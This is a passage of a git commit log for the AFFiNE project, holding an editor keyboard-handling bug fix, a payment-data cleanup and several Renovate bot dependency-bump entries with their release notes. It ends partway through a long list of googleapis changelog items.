2026-06-10 22:43:31 +08:00
Talha Mujahid 6faebcabd3 fix(editor): prevent backspace in icon picker search from deleting editor content (#15089)
## Problem
When the callout block's icon picker is open and the user types in the
search input, pressing backspace deletes content in the main editor
instead of the search text.

## Root Cause
The callout icon picker is mounted via `createPopup` inside
`editor-host`. `PageKeyboardManager` registers a global `Backspace`
handler on the editor host (`keyboard-manager.ts`) with `{ global: true
}`, which fires on every backspace keydown regardless of what element is
focused. Without `stopPropagation`, the backspace event from the search
input bubbles up through the DOM and triggers block deletion.

Other keys are unaffected because the editor handles character input
through `contenteditable` focus, those handlers only act when a
contenteditable node is active.

## Fix
Add `onKeyDown` with `e.stopPropagation()` to the search inputs in both
`EmojiPicker` and `AffineIconPicker`. This matches the existing pattern
already used by `MenuComponent` (`menu-renderer.ts:107`) and all other
interactive components (`date-picker`, `inline-edit`, `prompt-modal`).

## Why not affected elsewhere
`DocIconPicker` uses the same pickers but wraps them in a Radix UI
`Menu` with `modal: true`, which portals outside `editor-host` — so
backspace events never reach the editor's global handler there.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Improved keyboard event handling in search inputs for icon and emoji
pickers

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-10 16:13:04 +08:00
DarkSky d10dd12663 fix(core): transport may not available (#15087)
fix #15086


#### PR Dependency Tree


* **PR #15087** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Console logging is now disabled in production builds to reduce
unnecessary log output, while remaining enabled in development for
debugging purposes.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-06 18:32:54 +08:00
renovate[bot] edc87e38df chore: bump up RevenueCat/purchases-ios-spm version to from: "5.76.0" (#15077)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm)
| minor | `from: "5.75.0"` → `from: "5.76.0"` |

---

### Release Notes

<details>
<summary>RevenueCat/purchases-ios-spm
(RevenueCat/purchases-ios-spm)</summary>

###
[`v5.76.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.75.0...5.76.0)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.75.0...5.76.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuNCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-04 16:39:11 +08:00
DarkSky 65c3271beb feat(server): clean up dirty data from legacy version (#15078)
#### PR Dependency Tree


* **PR #15078** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
  * Persist and replay incoming payment webhooks for reliability.
* Track provider-level subscriptions, payment events, and per-target
trial usage across providers.
  * Nightly replay job to reprocess stuck payment events.
* Shadow backfill mode and emit-suppression options to control
projection/backfill side effects.
  * Subscriptions now derived from entitlements + provider facts.

* **Bug Fixes**
* Improved error propagation, retry tracking, and safer owner-grant
projection handling.

* **Tests**
* Added webhook failure/replay, provider integration, entitlement
projection, and trial/checkout tests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-06-04 16:38:44 +08:00
renovate[bot] 489702eb66 chore: bump up actions/github-script action to v9 (#15074)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
|
[actions/github-script](https://redirect.github.com/actions/github-script)
| action | major | `v8` → `v9` |

---

### Release Notes

<details>
<summary>actions/github-script (actions/github-script)</summary>

###
[`v9.0.0`](https://redirect.github.com/actions/github-script/releases/tag/v9.0.0)

[Compare
Source](https://redirect.github.com/actions/github-script/compare/v9.0.0...v9.0.0)

**New features:**

- **`getOctokit` factory function** — Available directly in the script
context. Create additional authenticated Octokit clients with different
tokens for multi-token workflows, GitHub App tokens, and cross-org
access. See [Creating additional clients with
`getOctokit`](https://redirect.github.com/actions/github-script#creating-additional-clients-with-getoctokit)
for details and examples.
- **Orchestration ID in user-agent** — The `ACTIONS_ORCHESTRATION_ID`
environment variable is automatically appended to the user-agent string
for request tracing.

**Breaking changes:**

- **`require('@&#8203;actions/github')` no longer works in scripts.**
The upgrade to `@actions/github` v9 (ESM-only) means
`require('@&#8203;actions/github')` will fail at runtime. If you
previously used patterns like `const { getOctokit } =
require('@&#8203;actions/github')` to create secondary clients, use the
new injected `getOctokit` function instead — it's available directly in
the script context with no imports needed.
- `getOctokit` is now an injected function parameter. Scripts that
declare `const getOctokit = ...` or `let getOctokit = ...` will get a
`SyntaxError` because JavaScript does not allow `const`/`let`
redeclaration of function parameters. Use the injected `getOctokit`
directly, or use `var getOctokit = ...` if you need to redeclare it.
- If your script accesses other `@actions/github` internals beyond the
standard `github`/`octokit` client, you may need to update those
references for v9 compatibility.

##### What's Changed

- Add ACTIONS\_ORCHESTRATION\_ID to user-agent string by
[@&#8203;Copilot](https://redirect.github.com/Copilot) in
[#&#8203;695](https://redirect.github.com/actions/github-script/pull/695)
- ci: use deployment: false for integration test environments by
[@&#8203;salmanmkc](https://redirect.github.com/salmanmkc) in
[#&#8203;712](https://redirect.github.com/actions/github-script/pull/712)
- feat!: add getOctokit to script context, upgrade
[@&#8203;actions/github](https://redirect.github.com/actions/github) v9,
[@&#8203;octokit/core](https://redirect.github.com/octokit/core) v7, and
related packages by
[@&#8203;salmanmkc](https://redirect.github.com/salmanmkc) in
[#&#8203;700](https://redirect.github.com/actions/github-script/pull/700)

##### New Contributors

- [@&#8203;Copilot](https://redirect.github.com/Copilot) made their
first contribution in
[#&#8203;695](https://redirect.github.com/actions/github-script/pull/695)

**Full Changelog**:
<https://github.com/actions/github-script/compare/v8.0.0...v9.0.0>

###
[`v9`](https://redirect.github.com/actions/github-script/compare/v8...v9)

[Compare
Source](https://redirect.github.com/actions/github-script/compare/v8.0.0...v9.0.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-04 07:44:53 +08:00
renovate[bot] e3349b458c chore: bump up apple-actions/import-codesign-certs action to v7 (#15075)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
|
[apple-actions/import-codesign-certs](https://redirect.github.com/apple-actions/import-codesign-certs)
| action | major | `v6` → `v7` |

---

### Release Notes

<details>
<summary>apple-actions/import-codesign-certs
(apple-actions/import-codesign-certs)</summary>

###
[`v7.0.0`](https://redirect.github.com/Apple-Actions/import-codesign-certs/releases/tag/v7.0.0)

[Compare
Source](https://redirect.github.com/apple-actions/import-codesign-certs/compare/v7.0.0...v7.0.0)

#### What's Changed

- Switch from `ncc` to `esbuild`
- Bump flatted from 3.4.1 to 3.4.2 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[Apple-Actions#166](https://redirect.github.com/Apple-Actions/import-codesign-certs/pull/166)
- Bump actions/setup-node from 6.2.0 to 6.3.0 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[Apple-Actions#167](https://redirect.github.com/Apple-Actions/import-codesign-certs/pull/167)
- Bump picomatch from 2.3.1 to 2.3.2 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[Apple-Actions#168](https://redirect.github.com/Apple-Actions/import-codesign-certs/pull/168)
- Bump knip from 5.78.0 to 6.2.0 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[Apple-Actions#173](https://redirect.github.com/Apple-Actions/import-codesign-certs/pull/173)

**Full Changelog**:
<https://github.com/Apple-Actions/import-codesign-certs/compare/v6.1.0...v7.0.0>

###
[`v7`](https://redirect.github.com/apple-actions/import-codesign-certs/compare/v6.1.0...v7.0.0)

[Compare
Source](https://redirect.github.com/apple-actions/import-codesign-certs/compare/v6.1.0...v7.0.0)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-06-03 18:33:32 +08:00
renovate[bot] eb32a5894e chore: bump up @googleapis/androidpublisher version to v36 (#15063)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@googleapis/androidpublisher](https://redirect.github.com/googleapis/google-api-nodejs-client)
| [`^35.0.0` →
`^36.0.0`](https://renovatebot.com/diffs/npm/@googleapis%2fandroidpublisher/35.1.1/36.0.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@googleapis%2fandroidpublisher/36.0.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@googleapis%2fandroidpublisher/35.1.1/36.0.0?slim=true)
|

---

### Release Notes

<details>
<summary>googleapis/google-api-nodejs-client
(@&#8203;googleapis/androidpublisher)</summary>

###
[`v36.0.0`](https://redirect.github.com/googleapis/google-api-nodejs-client/blob/HEAD/CHANGELOG.md#13600-2024-05-02)

##### ⚠ BREAKING CHANGES

- **workloadmanager:** This release has breaking changes.
- **serviceusage:** This release has breaking changes.
- **servicenetworking:** This release has breaking changes.
- **serviceconsumermanagement:** This release has breaking changes.
- **securitycenter:** This release has breaking changes.
- **redis:** This release has breaking changes.
- **networkmanagement:** This release has breaking changes.
- **iam:** This release has breaking changes.
- **doubleclickbidmanager:** This release has breaking changes.
- **dns:** This release has breaking changes.
- **dataportability:** This release has breaking changes.
- **dataplex:** This release has breaking changes.
- **dataform:** This release has breaking changes.
- **contentwarehouse:** This release has breaking changes.
- **content:** This release has breaking changes.
- **compute:** This release has breaking changes.
- **beyondcorp:** This release has breaking changes.
- **alloydb:** This release has breaking changes.
- **aiplatform:** This release has breaking changes.

##### Features

- **accessapproval:** update the API
([88f6ef5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/88f6ef52f6b19a90962acb1604694da5e22af1d0))
- **admin:** update the API
([b6fff85](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b6fff8553fc561f5c16d8bd46ded439bb793ea8a))
- **adsense:** update the API
([5349cf9](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5349cf9808017b594380ade8c94aed81a3330ed2))
- **advisorynotifications:** update the API
([9c37105](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9c371058f141e1b30567a74d35245c0d116e9f02))
- **aiplatform:** update the API
([56cde03](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/56cde03e4eb6283561515ecac8435ad28f49dda9))
- **alertcenter:** update the API
([10d8698](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/10d869861c193788a3150515b2d8ec323517bc38))
- **alloydb:** update the API
([51ad37e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/51ad37ee97ac19ca26c26c645f39f8d9d3fde0cd))
- **analyticsadmin:** update the API
([8b4c314](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8b4c31451d3ace85c48b8a1170eac09024c518e0))
- **analyticshub:** update the API
([d06ce46](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d06ce46d020c92976660e2e9ee68f35f0e2da2f6))
- **androidmanagement:** update the API
([bb2dc2d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bb2dc2d1e3d99b2a27bfe9f1b517ab257cc886bf))
- **androidpublisher:** update the API
([f58a3c8](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f58a3c8544b91d6cb987f2b72f200e7b79eabe14))
- **appengine:** update the API
([543b45e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/543b45e8cad0556e923f2f44e61d3bf96675e1ca))
- **apphub:** update the API
([e9a8db0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e9a8db0b264dc78e526dae22ff7a33574406a360))
- **artifactregistry:** update the API
([5a5e4aa](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5a5e4aae48f826b6daec0493c4cfe79b4b0dfa4a))
- **authorizedbuyersmarketplace:** update the API
([351c7ed](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/351c7edca745cf8d996963e6816811eaaca09a04))
- **backupdr:** update the API
([9796834](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/97968343e02bd85538961138f02ed20976f53a02))
- **beyondcorp:** update the API
([7f20c02](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7f20c0238728cae35a37e06b95e7dbb8cad57e2e))
- **bigqueryconnection:** update the API
([0e56135](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0e56135413c3799c0543bb45510dede96970cb63))
- **bigquery:** update the API
([72b5d21](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/72b5d21ed11f1bcde638a1240c02d6ce03906844))
- **bigtableadmin:** update the API
([ad68d8c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ad68d8c6e175573ebd5c54ec74328386d9dc8cd3))
- **blockchainnodeengine:** update the API
([7f0503c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7f0503cc2cf3b7d7f90f0518a1deb592a4f313a4))
- **chat:** update the API
([0810516](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/081051658a22c7bf2cd8915838608f53fb620cd6))
- **cloudasset:** update the API
([4eb45be](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4eb45bed03811fb3f5c18967a0c7128ced2ee011))
- **cloudbuild:** update the API
([d20db7b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d20db7be93195c69e6b1345bcf196aeab8b57b35))
- **clouddeploy:** update the API
([cd5014b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/cd5014bd87adbfbc2729f78f7d56bb4b8d42b7d7))
- **cloudsupport:** update the API
([ceb5503](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ceb5503e69b26a0838d8decc00ca17ebdcdda743))
- **compute:** update the API
([f84e98a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f84e98a33f39034e2cb7846fbc4c3fc6804a2ffa))
- **connectors:** update the API
([478d8c6](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/478d8c60beb0ccae9a89590f71802aa7843275e2))
- **contactcenteraiplatform:** update the API
([862d69b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/862d69b84cbbe5f9e6c34af4bfdfbe33990c9331))
- **contactcenterinsights:** update the API
([c1974c4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c1974c4b7385c84fdb70cd3c05e5ad601dbb4272))
- **container:** update the API
([8cd9863](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8cd986326583b69735627bae07263fad1595b7fb))
- **content:** update the API
([76546b8](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/76546b866ac0e675f27b2b9ab1727f4c821c17ac))
- **contentwarehouse:** update the API
([aa28685](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/aa286853fecaa5d45d80e33e309ea388ea6ece97))
- **dataflow:** update the API
([ddd9231](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ddd92315d9fff4a5a20493b1ce874f0974df3b82))
- **dataform:** update the API
([a43ddce](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a43ddced989c08697f803f6d167f771ae27ecbcb))
- **datamigration:** update the API
([f0e692d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f0e692d9169793bc8abe3cd33982e36e04faf3ea))
- **dataplex:** update the API
([20e701c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/20e701c6dc51978418c70f58907d0d2c8d5d407d))
- **dataportability:** update the API
([50c5d63](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/50c5d63f83ccf4e91e27e7322062a8edc24b33cf))
- **datastream:** update the API
([57a62ef](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/57a62ef7920ab1ca1e18452b2749c3585a981736))
- **dialogflow:** update the API
([ddfc789](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ddfc789b5c0c567d2ddc8241448e260bfb7ad20f))
- **discoveryengine:** update the API
([ec40fe5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ec40fe54ac9bc032c370f8eaf436489a10b04159))
- **discovery:** update the API
([8d42dab](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8d42dab88214bc01e9a9678794b6015435b5071f))
- **displayvideo:** update the API
([90937cd](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/90937cda7d6475fd0f04ac2332f3351f53f08b22))
- **dlp:** update the API
([88f0a64](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/88f0a640104e95f5aa785b89658997746153915e))
- **dns:** update the API
([4688a5e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4688a5ef2114c8ffcc15890ee47949431915841c))
- **documentai:** update the API
([b07b1aa](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b07b1aa83a3be53769729f43afe252bab824b55a))
- **domains:** update the API
([d34c2a0](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d34c2a09071ea3431f88ce0b6be0757a9682f66e))
- **doubleclickbidmanager:** update the API
([0e6990d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0e6990d73d7c576483a84b4dce75a5fd7fe3c0ad))
- **eventarc:** update the API
([0c28816](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/0c2881683796bfbc7581c2b772ef6d630737ad02))
- **factchecktools:** update the API
([bd8d187](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bd8d187f2fa9859b230c0292c509312b93fba7a5))
- **firestore:** update the API
([6d67fed](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/6d67fed98433e01900db319bc4747577cb6d6e3d))
- **games:** update the API
([99d63c1](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/99d63c1ce9e7a141ce34ca9ab3b85e7c24413357))
- **gkebackup:** update the API
([e90fb98](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e90fb98d64548538cbb810258e9fde7b3f3561fc))
- **gkehub:** update the API
([d4c3244](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d4c3244d232a2788ef39e85a3ba451227446ebb2))
- **gmail:** update the API
([a4d9319](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/a4d9319ad50bbfd9e27ed7b4ff865951b7dd1032))
- **iam:** update the API
([2e9117f](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/2e9117f73657e08bcea4de889f49bbeca4cb6882))
- **iap:** update the API
([db72cb3](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/db72cb3acc75efc17df7dd0d6b4418e17c1c3c81))
- **logging:** update the API
([4317a72](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4317a72ef5752de222fafdaadb4be75267fedd4f))
- **marketingplatformadmin:** update the API
([ff87055](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ff8705570be84e5c2b93bac53dc6dc38923137ef))
- **metastore:** update the API
([57b1763](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/57b1763cd49724b461a5f85f8a6ef1cdebfdd500))
- **migrationcenter:** update the API
([3f91b3a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3f91b3abc6c81c7848e127563207299631cb1c7c))
- **monitoring:** update the API
([b601933](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/b6019332629f7f487a720bbedf58284f32bc84f2))
- **networkconnectivity:** update the API
([bb6e8ff](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/bb6e8ffe0ccc87c117b7acbecf2ad9a52ec76158))
- **networkmanagement:** update the API
([3c9d201](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3c9d20120e16a1c6df1c2cbac758d2fa28670c7b))
- **ondemandscanning:** update the API
([9efea7e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9efea7ec8fa03709a875f4e8131bcdf059ddd403))
- **orgpolicy:** update the API
([9abcb3a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9abcb3ab05e3f8ceac3d5f6fb77b69b6312d3d78))
- **paymentsresellersubscription:** update the API
([5c6228e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5c6228e8693db8d5c3797148f0f547063beb23f1))
- **privateca:** update the API
([c8bed74](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/c8bed74402e19d48227929a3c387663650c713fd))
- **pubsub:** update the API
([985ba9b](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/985ba9bb35f3bd9db382497be3ec99d4c309cff4))
- **recaptchaenterprise:** update the API
([cd6af58](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/cd6af586c85f638a9e59647f9e14e13fbf4500c4))
- **redis:** update the API
([2896261](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/28962616def25002b1ab7eb995f220ba87646894))
- regenerate index files
([7cbd403](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7cbd403f5f44d43aa9fb86f35b4b71ff16bf8511))
- **retail:** update the API
([5c3af10](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/5c3af10dc0c01bcba9ac1dd306ece2641e576f66))
- **run:** update the API
([4adbdec](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4adbdec9d3771f3c024f978fab7897e547825b11))
- **searchads360:** update the API
([03ca122](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/03ca122fba8a0ae1bf3cb482aefefd17eeba6adf))
- **securitycenter:** update the API
([8b08aa2](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8b08aa2ac1d8bb8eb264f8bda3089da60b4f4028))
- **serviceconsumermanagement:** update the API
([8878e94](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8878e945849f0c8a2946789f554aa8f7d43d9db5))
- **servicecontrol:** update the API
([763243a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/763243a5a56fbc735a259bc8a0cd16046a9b5289))
- **servicenetworking:** update the API
([d481dce](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d481dce95d7f9f899d9b62f78933a731159f381c))
- **serviceusage:** update the API
([41b76ee](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/41b76ee8d6beeeb3bbccdcbbcd0853f610a54171))
- **sheets:** update the API
([74b2d05](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/74b2d057117112b9b6991f70dc47ac60a9945e82))
- **spanner:** update the API
([2d2e0f6](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/2d2e0f64b7ceb23e7695939c367d74c7ce14fc2b))
- **sqladmin:** update the API
([7cc6d5e](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7cc6d5e1283e44228e54acf2bdb10bbe5436996c))
- **tpu:** update the API
([d6658ff](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/d6658ff0af9efce119b420c5da8cfcab7b882276))
- **trafficdirector:** update the API
([69f9252](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/69f92522ff9920b35c5a07302f509f86c49485df))
- **verifiedaccess:** update the API
([33544fc](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/33544fca5d8da32c49b7c9a803e6f818cd71abcb))
- **workloadmanager:** update the API
([855fab4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/855fab42662185d828978f3474b6eba492f4b674))
- **workstations:** update the API
([867515f](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/867515ff691803da59aac961866bb6afb224a642))
- **youtube:** update the API
([7452149](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7452149d3d70dd45b10ceff77310aa09b6c2c57d))

##### Bug Fixes

- **abusiveexperiencereport:** update the API
([dfd4aa1](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/dfd4aa1e515b9665f2fcdf4a13eecd267b386895))
- **acceleratedmobilepageurl:** update the API
([9b0387c](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9b0387c44997aab7f305900eee6fcb8801d3f7ee))
- **accesscontextmanager:** update the API
([413c833](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/413c833b3273a224f9df5fc36fae40669724e4fb))
- **acmedns:** update the API
([4199c73](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4199c734fcde97cd00126d4531c0acfe7f4aad9a))
- **addressvalidation:** update the API
([3c51f3f](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3c51f3f5214e6465f25825ee8f37a773bbc7b07e))
- **adexchangebuyer2:** update the API
([ec9384a](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ec9384ab02f3f30493962122c90c0549c318c7d4))
- **adexperiencereport:** update the API
([8932647](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/8932647c6be056c97fff0754cf4198ae9b55e6bd))
- **admob:** update the API
([7b699f5](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7b699f5f9cc2f565811caf67a944eaa104d22efb))
- **adsensehost:** update the API
([e4373ed](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/e4373ed0b695c995317e6f735542a228df2022e7))
- **analyticsdata:** update the API
([9c8dcf8](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9c8dcf8f9aae5858d453a0dae64ca9837672bc87))
- **analyticsreporting:** update the API
([4b2a5bd](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/4b2a5bdaf8aca2a581fec1e7ee1f534eb9867dca))
- **analytics:** update the API
([f7f9cc4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f7f9cc4b9f2bf47aedd233ecdfb43531b5dad3cd))
- **androiddeviceprovisioning:** update the API
([47d89cd](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/47d89cda619cdec6b83e826913e1ff92e090ced8))
- **androidenterprise:** update the API
([293c247](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/293c247fbf83fbe9b54c14cd991b69bfd9679996))
- **apigateway:** update the API
([7d02f2d](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/7d02f2dae2c63f6cf62de73fc1d3e1381f9f7ce1))
- **apigeeregistry:** update the API
([f627870](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f62787095c2439b882896130c259cedb810114de))
- **apikeys:** update the API
([f2ab501](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/f2ab50102415317c56bb20fb7c1894505c86a7e9))
- **area120tables:** update the API
([ba9d3e6](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ba9d3e6258f47ea0d0bb3dae9f484a9097f2bdad))
- **assuredworkloads:** update the API
([3dc3798](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/3dc3798f56c03f0cf7136eb5d5e625ef2c3c21ee))
- **batch:** update the API
([10727a4](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/10727a4ccab11bd1203fa95cb14131a67804e7a5))
- **biglake:** update the API
([ebfd8c6](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/ebfd8c6610f83f7ed63d21705f7d1eb2ed6db2d0))
- **bigquerydatapolicy:** update the API
([4871975](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/48719750b35826c4f147f8dc8601c90188dc8bee))
- **bigquerydatatransfer:** update the API
([05b9fc8](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/05b9fc89e9f0b1b94092e50cef21b03044b836ba))
- **bigqueryreservation:** update the API
([9f226a3](https://redirect.github.com/googleapis/google-api-nodejs-client/commit/9f226a3de413175cd44c76f45b19169010daaaa9))
- **billingbudgets:** update the API
